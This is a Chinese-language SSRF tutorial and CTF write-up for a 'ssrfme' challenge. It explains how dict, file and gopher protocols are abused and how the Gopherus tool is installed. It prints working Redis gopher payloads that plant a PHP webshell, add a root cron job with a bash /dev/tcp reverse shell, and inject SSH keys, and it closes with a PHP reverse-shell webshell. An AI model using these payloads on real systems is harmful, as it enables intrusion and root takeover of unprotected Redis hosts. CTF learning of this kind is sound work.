文章目录
ssrf
原理
服务端请求伪造,有一个参数可以接受一个网址在本地页面解析,但是没有进行过滤,所以可以进行操作。
ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端;原本访问外链资源不会有太大
的危害,但是curl支持很多协议(curl --version 可以查看其支持的协议),有FTP,FTPS,HTTP,HTTPS,GOPHER,TELNET,
DICT,FILE以及LDAP。
dict,file,gopher
在这其中特别是dict,file,gopher这三个协议容易被利用
1.dict,原本是个字典协议,可以探测内网端口,主要探测以下服务:
(1)fastcgi 可以实现RCE,未授权访问实现rce
(2)redis 6379 redis低版本中未授权访问(没有设置密码,没有开启安全模式)
--1–写入webshell 要知道物理路径
--2–写入任务计划 反弹shell
--3–写入公钥 直接登录服务器
2.file,读取内网文件
3.gopher,发送get,post请求
gopherus工具
这里有一个工具可以利用gopher协议来生成redis的ReverseShell/PHPShell,即gopherus。
如果获取不成功可以尝试下面操作
git config --global http.https://github.com.proxy http://10.100.186.105:7897
地址是你本机的内网地址,端口是你的代理软件开启的端口
克隆仓库
git clone https://github.com/tarunkant/Gopherus.git
进入Gopherus/目录下
cd Gopherus
给权限
chmod +x install.sh
执行安装脚本
sudo ./install.sh
由于此工具使用的是python2环境,安装时可能会报错,我们去安装一个python2环境即可。
参考:【Ubuntu20.04安装python2和python3及版本配置】http://t.csdnimg.cn/Wf5Qi
安装完成后即可使用
–1–写入webshell 要知道物理路径
解码后发现内容为如下内容:
gopher://127.0.0.1:6379/_*1 因为是通过ssrf,所以目标写的127.0.0.1:6379
$8 代表8个字符,即flushall
flushall 清空整个 Redis 服务器的数据(删除所有数据库的所有 key )
*3 代表3个字段,即set,1,<?php phpinfo();
$3 下个字段长为3
set
$1
1
$20
<?php phpinfo();
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
上述是redis的指令,相当于给redis中写入了一个数据;key为1,value为<?php phpinfo();
并且将内存中的这条数据落盘到了/var/www/html目录下的shell.php文件中保存
–2–写入任务计划 反弹shell
解码后发现内容为如下内容:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$66
*/1 * * * * bash -c "sh -i >& /dev/tcp/10.100.52.6/1234 0>&1" 每隔1分钟向10.100.52.6/1234上反弹一次shell
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/ 写入任务计划的目录
*4
$6
config
$3
set
$10
dbfilename
$4
root 会以root权限执行,反弹回来的shell也是root权限
*1
$4
save
–3–写入公钥 直接登录服务器
这个工具没有写入公钥的功能,需要自己操作
可以使用这个命令生成公钥私钥:
ssh-keygen -t rsa
生成在/root/.ssh/目录下
公钥复制到服务器的~/.ssh/authorized_keys文件中,即通过redis数据持久化写入
确保服务器的~/.ssh目录和~/.ssh/authorized_keys文件的权限设置正确:
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
免密登录:
ssh user@server
2月公开赛Web-ssrfme
【题目考查的技术点】
- SSRF
- redis未授权访问
- SSRF攻击内网主机上的redis
【获取环境】
直接向已经拉取成功的同学要打包好的镜像
执行以下命令
【做题】
访问题目,发现源码直接给出
存在ssrf
进行如下测试,发现可以通过url来访问外部链接,存在ssrf
但是源码过滤了file协议、dict协议、127.0.0.1和localhost,无法探测端口;
目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能,可以访问phpinfo页面
查看phpinfo,如下图,可以看到当前主机的内网ip为 172.18.0.3:
没有过滤http协议和gopher协议,我们使用http协议进行探测,发现 172.18.0.3上只有80端口开放,没有3306,6379等端口开放
注意:存活主机探测和开放端口探测都可以用burp
然后探测该网段上存活的主机:
?url=http://172.18.0.1 # Apache2 Default Page,其实是一个陷阱,无法成功
?url=http://172.18.0.2 # 发现显示Go away,说明页面被操作过
?url=http://172.18.0.3 # 当前机器
当我们测试到 172.18.0.2 时,返回了“Go away”
说明172.18.0.2是内网中存活的另一台主机,并且上面也运行着http服务而且被操作过。但是当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:
发现有6379端口,说明这台内网主机上还运行着redis服务。
redis 未授权访问攻击
接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。
但是我们尝试发现不能直接在/var/www/html目录下写文件,可能是因为权限不够,我们使用burp扫一下当前目录下都有哪些目录,发现有个upload目录。
使用gopherus
注意,现在的目标主机是172.18.0.2,要更改一下IP;由于浏览器和gopher协议都会进行解码,所以要将生成的payload再次用url进行编码,然后发送过去:
gopher://172.18.0.2:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520/flag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
发送paylaod后,会在这台内网主机的upload目录里写入一个shell.php
然后使用ssrf访问/var/www/html/upload/shell.php即可得到flag
http://172.19.81.231:8091/?url=http://172.18.0.2/upload/shell.php
也可以通过反弹shell来找flag
同样以上操作,会在这台内网主机的upload目录里写入一个shell.php,内容如下:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.19.81.231/1234 0>&1'"); ?>
监听端口
执行命令
如上可以看到成功反弹,并且成功执行了命令,拿到flag。
docker拉取时有两个地方可以加速
第一个:
第二个:
会优先第二个,但是第二个需要配置代理
版权归原作者 奔跑的大大怪 所有, 如有侵权,请联系我们删除。